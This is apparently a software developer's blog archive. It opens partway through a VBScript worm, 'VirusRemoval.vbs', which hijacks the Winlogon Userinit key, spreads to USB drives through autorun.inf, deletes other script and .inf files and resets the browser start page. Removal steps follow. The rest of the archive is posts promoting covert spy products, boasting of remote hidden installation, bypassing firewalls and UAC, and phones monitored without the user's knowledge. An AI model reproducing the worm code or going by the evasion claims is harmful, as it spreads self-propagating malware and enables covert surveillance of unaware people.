Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","0","REG_DWORD"
Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","0","REG_DWORD"
Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://sujin.com.np/"

Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","explorer.exe"

'Now here is where the virus keep itself in memory
'Userinit is the first program that runs after WinLogon completes its work, it loads the shell explorer.exe, and you can replace it with your own shell.
Shells.RegWrite "HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon\Userinit",SystemDir & "\userinit.exe," & _
SystemDir & "\wscript.exe " & SystemDir & "\VirusRemoval.vbs"

'The below section will launch explorer.exe! Remember, now, your shell is wscript.exe VirusRemoval.vbs, so explorer.exe need to be loaded to actually load your desktop.

For Each Drives In InDrive
root = Drives.Path & "\"
If Fso.GetParentFolderName(WScript.ScriptFullName)=root Then
Shells.Run "explorer.exe " & root
End If
Set folder=Fso.GetFolder(root)
Set Delete = Fso.DeleteFile(SystemDir & "\killvbs.vbs",true)
For Each files In folder.Files
auto=Left(files.Name,7)
If UCase(auto)=UCase("autorun") Then
Set Delete = Fso.DeleteFile(root & files.Name,true)
End If
Next
If Drives.DriveType=2 Then
delext "inf",Drives.Path & "\"
delext "INF",Drives.Path & "\"
End if

If Drives.DriveType = 1 Or Drives.DriveType = 2 Then
If Drives.Path<> "A:" Then
delext "vbs",WinDir & "\"
delext "vbs",Drives.Path & "\"

If Fso.FileExists(Drives.Path & "\ravmon.exe") Then
Fso.DeleteFile(Drives.Path & "\ravmon.exe")
End If
If Fso.FileExists(Drives.Path & "\sxs.exe") Then
Fso.DeleteFile(Drives.Path & "\sxs.exe")
End If
If Fso.FileExists(Drives.Path & "\winfile.exe") Then
Fso.DeleteFile(Drives.Path & "\winfile.exe")
End If
If Fso.FileExists(Drives.Path & "\run.wsh") Then
Fso.DeleteFile(Drives.Path & "\run.wsh")
End If

If Drives.DriveType = 1 Then
If Drives.Path<>"A:" Then
If Not Fso.FileExists(Drives.Path & "\VirusRemoval.vbs") Then
Set WriteAll=Fso.CreateTextFile(Drives.Path & "\VirusRemoval.vbs",2,True)
WriteAll.Write AllFile
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\VirusRemoval.vbs")
WriteAll.Attributes = -1
End If
'Take cares of creating Autorun.inf file
If Fso.FileExists(Drives.Path & "\autorun.inf") Or Fso.FileExists(Drives.Path & "\AUTORUN.INF") Then
Set Chg = Fso.GetFile(Drives.Path & "\autorun.inf")
Chg.Attributes = -8
Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
WriteAll.writeline "[autorun]"
WriteAll.WriteLine "open=wscript.exe VirusRemoval.vbs"
WriteAll.WriteLine "shell\open=Open"
WriteAll.WriteLine "shell\open\Command=wscript.exe VirusRemoval.vbs"
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
WriteAll.Attributes = -1
else
Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
WriteAll.writeline "[autorun]"
WriteAll.WriteLine "open=wscript.exe VirusRemoval.vbs"
WriteAll.WriteLine "shell\open=Open"
WriteAll.WriteLine "shell\open\Command=wscript.exe VirusRemoval.vbs"
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
WriteAll.Attributes = -1
End if
End If
End If
End if
End If
Next

if Count <> 1 then
Wscript.sleep 10000
end if
loop while Count<>1
'Function to delete any file
sub delext(File2Find, SrchPath)
Dim oFileSys, oFolder, oFile,Cut,Delete
Set oFileSys = CreateObject("Scripting.FileSystemObject")
Set oFolder = oFileSys.GetFolder(SrchPath)
For Each oFile In oFolder.Files
Cut=Right(oFile.Name,3)
If UCase(Cut)=UCase(file2find) Then
If oFile.Name <> "VirusRemoval.vbs" Then Set Delete = oFileSys.DeleteFile(srchpath & oFile.Name,true)
End If
Next
End sub

REMOVAL INSTRUCTIONS

Terminate WSCRIPT.EXE process from Task Manager.
If you still have the Pen Drive in, then Open DOS, cmd at Run, go to your pen drive's drive (say X:)

X:
Attrib -S -H -R VirusRemoval.vbs
DEL VirusRemoval.vbs
Attrib -S -H -R Autorun.inf
DEL AutoRun.inf
Move back to your root folder
CD Windows\System32
Attrib -S -H -R VirusRemoval.vbs
DEL VirusRemoval.vbs
AND BEFORE YOU RESTART, CHANGE THE USERINIT value to explorer.exe

That's it.

You should also manually get back your registry settings as you can see in the code.

WatchLive Pro Released

2008-03-25T02:52:00.003+05:30

WLP is an improved version of SniperSpy, the software features simplicity in surveillance, power with real-time control and low-cost monitoring with subscription as low as $19.97 per month.

www.watchlivepro.com

SniperSpy 5: Extends to new Horizon

2008-02-18T13:17:00.002+05:30

SniperSpy version 5 is launched today that extends the capability of Remote Spy Software to a new heights.

With SniperSpy you can perform new control commands, even browsing of remote file system, downloading files, executing files on remote PC, terminating processes, locking remote PC, and Yes "across the globe", behind the NAT.

Read more here

Mobile-Spy for Symbian Launched

2008-02-12T16:49:00.000+05:30

Mobile-Spy now supports Symbian devices. While, the compatibility list is small and restricted to Nokia N-series smartphones for now, development is going on to support more devices.

Check Mobile-Spy here!

This is the third major release this month, after PCHO v2, and Advanced Parental Control v1.9.

We are going to kick some more this month. Along with few surprises!

Reader's Digest Speaks about Spying

2008-02-07T04:00:00.000+05:30

The Article is here.

Quote:
"As the use of monitoring software grows, more of the activity that many of us consider innocent is getting caught in the net. When she first joined a multinational corporation, a hardworking Rohini Srinivasan* was “caught” after she innocently uploaded some work-related information into her personal Yahoo! account."

(Another product called Mobile Spy takes some of the same stealth surveillance to company-issued cellphones by allowing the boss to view a log of phone numbers called and see every text message sent.) "

I repeats, as said in October 2005:
“Spy and system monitoring software will always be a popular choice for online users and I see the market only going up,” Alam confidently sums up.

PC Health Optimizer v2 LAUNCHED!

2008-02-02T14:48:00.000+05:30

... better, faster and reliable than ever!

PC Health Optimizer v2 has a fresh look, revised and throughly tested applications, and several new applications including Desktop Designer and Duplicate Finder etc.

Check out at: www.pchealthoptimizer.com

Dr. File Finder's PC Health Optimizer Review

2008-01-28T02:32:00.000+05:30

"The program seems very solid and works quite well. It's also very intuitive and quite easy-to-use so it's great for both new and experienced users." - Article Here

We have already been overdue for PCHO new version. Finally the 2nd version is in RC stage, which we hope to get cleared by this week.

p.s. Free copy for you, if you can spot PCHO in the picture above. :-)

Training New College Grads to be Software Professionals

2008-01-25T21:47:00.000+05:30

.... harvesting the power of fresh talents!

Above video: "During the Welcome session, me discussing the Eric Sink's Career formula."

Where do you find the right employee for you? Especially in a crowd of consultancy companies working on yet another web-application, who can bargain a healthy amount to a 3year "ASPdotNet/Axcess" developer (ahem, coder). In a town like Jaipur is, finding System programmers is difficult, if not, near impossible.

The solution:

We teach what we have learned the hard way.

The training that RXS is offering to the fresh hires (trainee) (which have been selected after rigorous process of written technical, aptitude, programming, english and interview) is about Software Development. My presentation said:-

---

----

---
Let's see the possible points made by others at a discussion forum and my thoughts on it:-

Problem 1:
" given the job market in india, your "freshers" will job hop as soon as they get experience."

You purchase a 100 rupee stamp paper and make them sign a bond to work at least an xx number of months. In my opinion, I don't like this. If you are providing the environment and standard salary why will they job hop.

Problem 2:
"Yes, absolutely, this is a very smart move. BUT, you have to make sure to hire only graduates with a verifiable track record of having done programming BEFORE they started their degree program."

Good point was raised right at the right time when the test was about to be conducted, every applicant wrote 4 programs in C/C++ during their written/interview tests, people with good idea of pointers and problem solving approach have been preferred. Everything else we will guide!

Problem 3:
"your cost in manpower to train them may be similar to their output"

So far my experience with "experienced" employees been the same, it hasn't been necessarily that our employee work will break-ever the salary paid to them. The good thing is, it is leveled with the overall result of the office. It again, could be solved with careful recruitment. One time being pleased with the answer of PostMessage and SendMessage difference and hire resulted me with a lose of 1lac in salary. sshhh....

Problem 4:
"Many companies complain that their IT employees lack the skills they need. Many companies and "pointy-haired" bosses forget that no school will provide ALL the skills their employees need, and training is necessary.

These people, expect to hire IT employees, like going to a walmart and buying products !!!"

Yeah, exactly!

Problem 5:
"Check that this IS NOT about paying programmers less, but paying people to become PRODUCTIVE programmers FOR YOU."

The idea of trainee had been born only to solve the problem of finding good "developers".

Well, we will know with time, if it was a good decision.

AceSpy Wins CNET 5 Award

2007-11-14T07:28:00.000+05:30

Ace 3.9 wins download.com 5/5 award!

Here's what the editor adds:-

"This is one of the most friendly, flexible, and comprehensive system spy utilities we've used, but it suffers from a glaring omission. AceSpy Spy Software's tidy interface simplifies finding what you need in the massive data it saves."

Click Here

The monitoring category at Download.com listing 202 products, has three 5/5 winners, in which two are Retina-X products.

Hooray!!

Making AceSpy 4 (... and more)

2007-11-07T22:03:00.000+05:30

Is 4 a magic number? I have talked about Making SniperSpy 4, Net Spy Pro 4, and now I am going to talk about the version 4 of RXS "First" product: AceSpy. I would rather say that AceSpy version had been pushed back but for reason: the current version 3.9 is quite stable, works in Vista and the things that pushed it back had equal reasons too, like PCHO, SniperSpy, NSP4, and Retail launching of our products.

AceSpy 4 would improve the inside engine, and have a great improvement in usability of the software. With stiff market competition, we have thought of our USP too, but well thats remain a secret till its release. (More on AceSpy)

And more...

1. We are launching a major fixed and upgraded version of PCHO late november,
2. We are launching a "new" security software in late november,
3. We are launching new stealth-email.net service late november,
4. We are launching new AceSpy.com web site late november or early december,
5. We are launching Mobile Spy for Symbian early December, and
6. ssshhh now.

SniperSpy 4 Launched

2007-10-28T14:57:00.000+05:30

In between all the work of changing office SniperSpy 4 is launched. The newest technology it bring that I talked about earlier is Live Screen Viewing and by passing every known Firewall. SniperSpy 4 has become the first remotely deployable spy software to introduce the feature of Live desktop viewing and works under any Firewall/NAT setting.

Upgrade Info Here

SniperSpy New Release Puts Vista Security to its Knees

2007-10-19T19:04:00.000+05:30

... was UAC, the best Microsoft could have done?

From News.com:

"Microsoft is taking a three-pronged approach with Windows Vista to reduce the threat of spyware.

User Account Control
By default, Windows Vista will run with fewer user privileges. "

1. SniperSpy 3.9.5 Module which is 67kb in size, is a self installing program, requiring no admin privilage, can be installed even from Vista guest account. Once installed, it starts monitoring the users and saving logs.

"Internet Explorer 7
IE 7 will run in "protected mode."

2. IE7 stil exposes the DOM and responds to DDE commands, giving access to record its web sites visited, not only the URL but also the entire web content.

"Windows Defender
Microsoft's anti-spyware tool will block and clean up any infections that do make it through."

3. Relying on database it is just same old Anti-Spyware issue. Nothing interesting.

"Will add fourth from my side: Firewall"

4. SniperSpy 3.9.5 requires no firewall permission and by passes every known firewall to send its records back to the remote user account along with full size screen-shots!

While SniperSpy is not a spy ware but a spy software, but their how-it-work is closely linked and hence the controversy. So seeing what SniperSpy does to Vista, hope is not over for Anti-Spyware.

ASP

2007-09-11T07:46:00.000+05:30

I am now ASP Developer Member :-)

Making SniperSpy 4

2007-09-10T22:15:00.000+05:30

SniperSpy is one software that had put technological programming to its edge. We call it the Cutting Edge Spy Software, the software can be remotely installed, spied from virtually anywhere and uninstalled, all from remote location without touching the physical PC.

Our customers says, ""I must say you guys have the best customer service I have ever dealt with. I have bought and downloaded literally thousands of dollars in different types of software, and over the past 8 years I have never had the customer service respond as quickly and be as helpful as you guys at Sniper Spy have been to me. Thank you and I will recommend you guys to every person I know. All my friends are excited about the software. You guys have been the greatest."
Stephanie, a USA user

SniperSpy brings about several issues, both technical and usage.

Last few weeks, James helped "the primary investigative arm of the United States Department of Justice", over misuse of the software. Upon several cases, RXS had helped Police departments, Investigators and Detectives and Forensic technician over the software misuses.

SniperSpy is a missile, with no limit.

SniperSpy has overgrown Omnis and NetFirms, it is finally on a dedicated server now!

Version 4 of our software seems to be always the most critical updates since their release, NSP4 is awesome. And SniperSpy 4 is going to cross every limit and imagination of any spy software created so far! Lets see how far it goes!

P.S. This is my 100th online blog!

Net Spy Pro 4 Released

2007-08-29T21:16:00.000+05:30

Remote control and View Multiple Live Desktop from One Centralized Location

Finally, we have released the biggest upgrade of Net Spy Pro since its release back in 2004, I have entirely re-coded the program and it is exceptionally good now.

Although, titled The AceSpy Guy, I am always in doubt whether SniperSpy or Net Spy Pro is my best work among RXS products! You decide!

Special thanks to James and the team of RXS/RSPL!

Net Spy Pro 4 in Making...

2007-08-19T12:51:00.001+05:30

... On the way building *Sub7* For Ethical Use

Few years back, when I was in college, (Ok, it was few months ago, happy?), I attended a seminar by Mr. Ankit Fadia,

Among the several things that he demonstrated, like how to move the Spy++ cross over a password window to reveal its text, how to add text in an image "using a software", was a demonstration of Sub7.

Since you wont click that link: Sub7 is the name of a popular backdoor program. It is mainly used by script kiddies for causing mischief, such as hiding the computer cursor, changing system settings or loading up pornographic websites.

In the demonstration, he show how to open/close an application on the *remote* machine, hide task bar, send message etc using Sub7.

It is funny, I have *coded* what Sub7 does, and much more, in my first year.

What-so-ever, Net Spy Pro is not a back door program, or a trojan, or of course spyware, it is an employee monitoring software that let you control networked PCs in real-time, view their past activities and filter useless content. Bringing order to your business.

Net Spy Pro has grown up with time too, and now with version 4, I am re-writing the engine, making it work more flawlessly, and new GUI and web sites are under development.

:-)

Dedicating 2 SniperSpy

2007-08-15T05:17:00.000+05:30

... we moved to Dedicated Server for SniperSpy

The THIRD host for SniperSpy, we outgrew Omnis first, and we outgrew NetFirms now, 4 days of SniperSpy control panel being down and now its up again! Better, Faster, Reliable than ever, and best yet, we control it. Its dedicated.

Almost an year back we had the trouble with SniperSpy , Last week similar thing happened, 4 of our web site were shut down by Netfirms, SniperSpy, RXS, APC, Net-Orbit, upon contacting they said we been running scripts that is causing slowness on their server. The situation was explained and they asked us to move SniperSpy web panel.

It was the time we get dedicated, millions or records, gega-bytes of files on the server and adding up every minute from users across the globe, a virtual or shared host can never sustain the pressure.

"Many thanks to you and to the entire team, you guys have been great during this period into keeping us updated and I am sure that you did not have enough sleep in your efforts to resolve this issue. I have to say it, your customer care is one of few best in the world, and I am quite sure that you will keep it up in the future. Best Regards" - J. B. Rahima (Customer)

SniperSpy 3.9 is released, which changes the record uploads to our databases at the dedicated server along. User will login to the new www.LogServer39.com

SniperSpy web site though is still at good old omnis.

" Thanks for the reply. I am really happy with the service that you are providing !! - C. WENDY"

P.S. We are working on SniperSpy 4! And I am shutting myself to not tell what major revolutionary change it is going to do.

We got Five more cows

2007-07-25T00:47:00.000+05:30

... Tucows gives 5 cows to PC Health Optimizer

Its here: PC Health Optimizer

Cheers!

PC Health Optimizer Released

2007-06-29T16:58:00.000+05:30

PC HEALTH OPTIMIZER v1.0 released today 4:45 PM IST

Getting ready for Healthy PC...

2007-06-13T01:52:00.000+05:30

... in the last 5% of our jam-packed PC Diagnosis Software

When it began?
usually planing of RXS products start before we actually start developing. SniperSpy was planned a year ago, but I finally put hand on it from December'05 and we released it on 6-Feb-2006.

Our Healthy PC - System Optimizer (HPC)(NOT correct name) plan started with my mail to James, 25-Feb-07, same day APC got 5 tucows rating.

Planing for applications that were to be included kept adding up, 4-Mar-07, was the first finalizing mail of the utilities we were planing to develop and whom will develop them.

12-Mar-07, was the official starting of HPC, I demonstrated and explained the idea of the software to the office people. Then I put: 1 MAY 2007 as bold on board and said it would be the completion date. Only 45-48 days and 20+ utilities, sounds impossible, I was set to make it possible.

Scan Disk was the first utility I coded, which Alpha-1 was completed on 15-March-07, Our Project Management Graph kept rolling as I completed all the 6 utilities I had taken in hand, even though 1 May was too fast date for release, we were at strong position then.

I had my final engineering examination in the 1st-2nd week of May. I'd to force myself to not-open the IDE, but of course I can't resist. Same week 8th May 2007, another company, brought a low-budget mimic of the software.

I learned the lesson to keep my excitment to myself.

But as James wrote in the newsletter, "This minor setback actually gave Zeeshan Alam and our team of coders more time to "tweak" the program into a masterpiece."

HPC is by now actually a masterpiece, whether its in the utilities, quality of them, overall feel of the application, price, support, and everything that makes it the best choice. We understand we are competiting with established players: and we are not going to take any chances.

One of my favorite author Diana Gruber had said: the last 10% of the software takes exactly the same time as the first 90%. We have covered 95% and we are on go to cover the rest journey.

We are going to release the utilities pack in June. Each utility in itself is worth the price of the entire suite, you can think, you bought one and paid zero for 21+ others.

Cheers to RXS that had developed 21+ system utilities in no-time; (and we are not talking about media organizers, sticky pads applications, LMAO), we are talking about products that give your PC a clean bill of health!

The countdown has begun...

Top Ten Ways to Promote Software

2007-06-03T02:51:00.000+05:30

... which I think are important.

In no way this is an exhaustive list, only the 10 important stuffs one should try to increase his sales.

1. Shareware:

In itself this is huge topic, maintain and update a list of shareware directories. Submitting them is a very tedious job, while some of them will require you to do the manual submission yourself, you can hire out a service to do the job for you. Look for "Shareware Submissions" @ Google.com. The conversion rates are anywhere between 0.2% - 5%, which is of course worth the money.

2. Google Adwords

Adwords work. But if you know what you are doing, you will make it work for you too. You can teach yourself, or hire an expert. Look for Adword Qualified service providers.

3. SEO

Optimize and work on listing your web site for your target keywords. It may take 3-12months of continuous patienate work. But eventually it might save 1$ per click at Adwords.

4. Email Marketing

Sign up your visitors for News-letters and keep them informed. You can setup Auto-Responder to remind your users about usefulness and features of your software. System Mechanics does an excellent job with Autoresponders when you download it. GetResponse.com is a good service to get.

5. Press Release

Let the media know you built a high-tech pain solving software. If writing is not your piece of cake, hire one: DpDirectory.com is good.

6. User Awards/Testimonials

Let the visitors know how usefull your software has been to live people by putting testimonials and positive feedbacks you receive. Putting awards from shareware sites is also nice, even better if it is from Download.com or Tucows.com or similar.

7. Online Demo

FLASH demo gives the visitors chance to actually have a journey of the software w/o bothering to download the trial. Very useful to use them.

8. Partnering / Affiliates

Have an affiliate programs, your affiliates' sites might bring more sales than your actual sites. Recognize and be social with them.

9. Web site and Software Look

Keep a fresh and updated look at the web-site, looks sells. Stop using Turbo C++, if you have to use Borland, use Delphi. Use VC++ MFC but add CodeJock!

10. Customer Support

Live support / Phone support gives more guarantee to users, if not feasible make sure you have a Support form and there are responses sent to customers. Your customers can make or break the game.

Good Luck.

Advanced Parental Control Wins...

2007-06-03T01:11:00.000+05:30

5 out of 5 Rating @ Download.Com

APC has become RXS's first product to be awarded 5/5 rating @ CNET's Download.Com, out of 147 software listed in Monitoring Section, APC is one of the three to have received this award!

:Check it out:

Mobile-Spy Makes Buzz in Town

2007-05-02T23:48:00.000+05:30

Mobile-Spy development took the longest period of time after Net Spy Pro. Certainly developing for Mobile phones are difficult tasks, their keyboards are so small.

While Minh Quan, the developer, never gave up. He tried Symbian version first. And then half-way switched to Windows Mobile as we studied Windows Mobile are more popular in USA.

Quan did excellent job at his side, Mobile-Spy is completely hidden software that works flawlessly on the cell phones, recording and uploading data thru GPRS/Edge/3G. There our web panel will let you view all activities.

Less than a week of relase Mobile-Spy has made buzz in

1. www.coolsmartphone.com
2. http://www.gcn.com
3. http://gizmodo.com

Wow!! Actually starts here: http://mobile-spy.com

Why we don't have bonus?

2007-03-27T02:21:00.001+05:30

The trend followed in most of the company is to distribute a fixed part of the employees' salary as bonus with a bunch of chocolates once an year. This is the bonus, more like a tip you give to a restaurent waiter.

Employee @ RXS expected that too, unfortunately, Diwali passed, X'mas passed, and New Year passed with no bonus.

I believe any money given as bonus is more of a charity spent, and why to give it to already earning employees. Bonus should be to award a performance, inspiring to achive more.

So, are we, a company giving nothing other than the salary?

No

The bonus we have is based on three factors:

1. Overtime Bonus,
2. Performace Bonus,
3. Company Growth Bonus.

Overtime bonus is:- Money you earn for doing overtime at the office. Everyone appreciate our system of having Bonus working days, on some holidays, people can still come and work to office and the attendence is counted toward their bonus.

Performance Bonus:- Money you earn for the marks one obtains in the performance review system.

Company Growth Bonus:- The growth RXS makes in that period of time.

This incentives are paid twice an year. Making us more attractive place to work at.

Not an incentive, but we celebrate every Employee's B'day :-)

RetinaXStudios.com Released

2007-03-19T18:44:00.000+05:30

Yesterday, its been special day for both my birthday and release of our company web site: retinaxstudios.com

Advanced Parental Control 5 cows

2007-02-23T04:36:00.001+05:30

APC gets Tucows 5 cows:- http://www.tucows.com/preview/51024

Advanced Parental Control Release

2007-02-23T04:36:00.000+05:30

Retina-X Studios has released its first "complete" office product, over 80% developed by the employees only, Advanced Parental Control.

Visit http://www.advancedparentalcontrol.com/

AceSpy records MySpace Now

2007-01-27T23:50:00.000+05:30

AceSpy 3.9 features recording of every web pages of MySpace visited by the monitored user. For more information please visit www.acespy.com

SniperSpy Troubleshooting

2006-06-08T18:56:00.000+05:30

With sales pouring in for SniperSpy in all direction, our current host Omnis.com got weird about the amount of flow of data happening there. First they had put a limit of 40,000 files per domain! Crap! Second, the backend MySQL database ran out of order, that one of the record table ceased creating new entries. The auto index value had reached over 3.3 million and currently there are over 1.2 million records. The table went down…

We have to do something, and really quick, me and James decided to make it get going first, so I created another table of same structure and changed the codes to use the new table instead of the old one. I tried that SELECT works with both while INSERT goes to the new table only.

The old table didn’t take SELECT now!

We decided its time to switch now, we pended development of Mobile-Spy, Quan is still working on it though, and get this done. I found Netfirms advanced hosting good enough, we decided to use that. The biggest problem was importing the old database to the new database on the new host.

James started exporting database, Omnis gave Internal Server Error and timed out several time. I wrote several scripts to do it, from Omnis to Omnis, Omnis to Localhost, Omnis to Netfirms, all with no help. Hand transferring them is something real crappy, though, James decided to do that. I can’t withstand watching him do it.

Moving 1.2 million records are seriously awful. And all users folder with screenshots in them, man!

Finally we decided to make it work like this: all login now goes to SniperSpy member panel on Netfirms, old customers with version 2.3 will have option to login to the Omnis domain from the URL below. The welcome page will clearly state that.

SniperSpy new version is now 2.4. And we look forward to have a better time with Netfirms. And hope to give our users a better experience.

SniperSpy Control Panel: http://www.sniperspy.net/

Old Control Panel: http://www.sniperspy.com/sniper/login.php

The Evergreen Front Page: http://www.sniperspy.com

On a side note, Harish Surana, had decided to give a hand on some PHP coding and technical support. Lets see how it goes. Basically, one more member to the RXS family.

What Stops people from starting ventures & businesses?

2006-04-14T00:05:00.000+05:30

There is a great discussion going on at the Entrepreneur column at orkut about the above question about What Stops People From Starting Ventures and Business?

My thoughts on my blog! :)

I had posted this already:

" If it is one thing it is the the college education.

Unfortunately, schools are preparing us for a job, and not for creating job, from founder of Microsoft to founder of Apple to founder of Ford, noone completed or heard their teachers or if they wud have. they may have been a employee, may be earning a high pay check. But yet, not what they are now.

Schools give us fear, if you dont study you will fail. And 7 outta 10 subjects we study are those which we will never use in real life, and real life strategy? Financial education, managing money, managing people, hello, you are in wrong centuery.

To over come this, we need to break the boundation of this. Killing the Fear. And seeking freedom. Freedom from the life cycle that goes from pay checks to pay checks.

To be an entrepreneur you need to first unlearn a few things that the usual school is teaching you."

After that, I also read an anonymous post dealing about the Indian Soceity. Well, I have to agree to the anonymous post too. Unfortunately, We are still miles away from where people understand the term Home Business, Internet Marketing, or I have yet to see a "true" ISV in India.

While, talent is there, professionalish is lacking. I got a few fan mails after the digit interview over guys about their concern over starting a software business, there is communities at Orkut too for them, but how many of them have done one. How many of them at least started and failed?

Job Security is feeded in the great indian mind, and that makes us 'Lazy'. So satisfied with the Self-employed or Employed part of the Cashflow Quadrant (www.richdad.com) that dont they dare think of Business or Investment side.

One response to the above post was:

" So true!

Also, parents want us to go into something like law, medical field, accountancy, something that makes sense to them and offer a more secure life with a regular income. I guess as a mean to protect us. When I grow up I want to be an entrepreneur is the same as I want to be a model model, pop star, etc... The risk factor not to make it is too high. That's the thought of the parents anyway.

When you have a more adventurous spirit, the parents' chosen careers for you are the anti-thesis of challenge and an exciting life. Rather giving these kids a cord to hang themselves with.lol

However, if someone is an entrepreneur by nature, they will be. I am sure you have seen them at 10 years old, knocking at your door, offering to clean your car for you. They are unstoppable. Allow them to do it, you'll be creating an entrepreneur lol - Gabrielle"

Had a parents ever said, "Go to school, get good grades, so that you can buy a great company" Rightly said, parents should give their children (and I am talking about Indian Parents specifically) to give their kids a cord to hang themselfes.

Agree, getting a 10 year old boy knocking your door, the first business I started was selling toffies at age 7. And the first software I sold was at age 15.

My answer to what stop it is Fear is above the greed for Freedom. Seek Freedom.

Life of a Software

2006-03-23T21:44:00.000+05:30

The presentation explains the entire life of a real software, right from its idea in brain to its delivery to customers desktop! A complete practical approach for an ISV.

Download Here (PowerPoint Show)

Digit Interview Pics

2006-03-06T02:01:00.000+05:30

For those of your who managed to Miss

Click Here to read the interview:

Thanks

SniperSpy Released!

2006-02-07T01:50:00.000+05:30

Spy On Any PC From Anywhere... Even though the planning of the software started long back, we have the domain registered for almost a year, but the working started in Dec only. Several times I changed the algo, James kept adding punched to the graphics. And finally Retina-X Studios, LLC had released it 6th Feb, 2006, 1:00 AM (IST)!

www.sniperspy.com

Being On DIGIT

2005-10-05T22:59:00.000+05:30

(click on the images to read)

Got mail from Renuka, “I am glad I got the opportunity to interview a young achiever like you. You deserve all the accolades that come your way.”

Well, thanks to her for the greatest gift I had ever received.

For those left behind, I am “The AceSpy Guy” in Digit, October 2005 issue. A big three page article had appeared on the magazine, and had put a star on my shoulder, just like an army officer would have received. And I can’t explain how much happy I, my parents, James and everyone who loves me are.

All part of game

Gave a treat to all computer guys (30) at Handi, M.I. Road on 1st. It was all fun.

It had been excellent; the three pages are put at department notice board, placement dept. notice board and had been appreciated by all professors I had shown.

I am very happy about it!

Why Satyam program was flop…

2005-09-15T02:46:00.000+05:30

Why Satyam program was flop…

September 14, 2005 – Jaipur, I enter the OLH 2:45 , finds Vineet (IT) and Abhi (CS) setting up the PCs. Few more BCs pops in. We are still waiting for people to come. It is the same feeling the “juice wala” has now-a-day who had been shifting position from GMP to Outside back date to Archi department now-a-days. We waited, some lonely souls drops in, that includes our own Rohit, Deepak and Vinay. They asks whats happening, and we say, it’s a mentor program. What is a mentor program? Is satyam going to give training opportunity? We don’t know! But we do know that we have to do something or the show is flop! We hanged around the 1^st year block, Hostel No. 1, 2, 3 seeking people, burning petrol and making the 1^st yearites worry whats happening. Some how we don’t know ourself, whats happening, so we cant help much.

Returning from Hostel seeking the first year guys, myself & Arpit enters the OLH again, we see 20 students (wow) standing, two Satyam people, and Director Sir facing poor soul Abhishek. The director was frustrated, the visitors were frustrated, the BCs were frustrated, the students weren’t frustrated. Deepak (Tunni) found the opportunity to sleep off. Shivangee said to director sir, “Sir, We are expecting the students to be here in 15 mins, please wait!” I thought, “Is anyone coming?”

The program some hows starts, it was beneficial and honestly not boring this time. I don’t know what happened last time, but this was good. We learned that “Aakhir itne bachchon to company le kar kyun jati hai?”, “Do they fire out people from the job if they don’t perform well?” “What is consultancy service?” “What should we work for at the beginning of career, money or learning?”

I am not a journalist who is going to quote what they said and why they said, but I am giving my view: Freedom of speech!

What the students were expecting?

Simple, you stop us right there, stop talking about our future, the IT industry, the market, give us placement. And then train us and we will work on your project, you give us the cash.

The dude said on Abhishek question, “We don’t offer training program!” Ten boys grouped up and left, the other 90% felt betrayed.

What’s training?

They define training this way, and to your heart you know its true, “you spend the first 4 weeks in a canteen, and then a project in charge is appointed and he helps you prepare the project report! You give that take a certificate.” So what we all are looking forward is some magical stick that at the end of IIIrd year, we will go out seeking training in some respectful companies and then we get the test of the market. The dilemma don’t ends here, after we finish the training, we say when we get placed the company will provide us GET, we will learn there and grow up. And then we think when our training will be over, we will think when we start working on real projects our time will start. And at the end of road it never happens. Coz we are confused, aint we? We say don’t work for money at the beginning of your career and the first question you put in about a company is what’s the package? Funny!

Who are you?

Once placed in IBM, Satyam, or Wipro, you are the income generating machine for them. When one is doing a business and hiring a person, he will make sure that he gets double of what he pays to you out. Recently I hired Le Vu Houng from Vietnam to write Email capture routine for one of our product, he charged $500, we marketed the feature and ended up making over 2000$ with it last month, and will continue to make more money each month to come. I talked with Le Vu, why you aint making your software and entering the market. He said, I am from Vietnam, I don’t have credit card to purchase domain name and google adwords. Is not having a credit card stopping an MCSD from entering the race of ISVs! And What is stopping you? The 15,000 bucks that Satyam is promising to pay you?

Lets see, 50% of the class want to go to IBM, 2.76 lac p.a., cutting income tax on it, it is 18k per month. Are we happy with it? Yes! Because, we are use to learn “how to write a good sexy resume to get attention?” instead of writing a good business plan to convert our potential to reality. Or we are just part of the rat race, of getting monthly pay check and living to it. We have to change our vision of living from pay-check to pay-check. And then calculating our bills, electricity bill this much, water bill this much, and ok, 1000 bucks left for saving.

The planet had changed, generation had changed, but the way we look at things hadn’t, we aint changed from our seniors, I am talking of our 10 years seniors! We have not! And the problem is we don’t want to. We don’t think it is possible to earn a lac rupees a month before even graduating, and if we see such example we think he had some miraculous power.

While Renuka was interviewing me for Digit, she asked: how do you manage things? I said, its terrible, I live a life of spider man, without super natural power; so I am late at everything, and makes terrific errors. But at the end of the day, I am happy that I am not a part of the rat-race, coz I believe that my aim is not to work for a corporation but to own one.

If I don’t stop here, I will be missing my morning class again,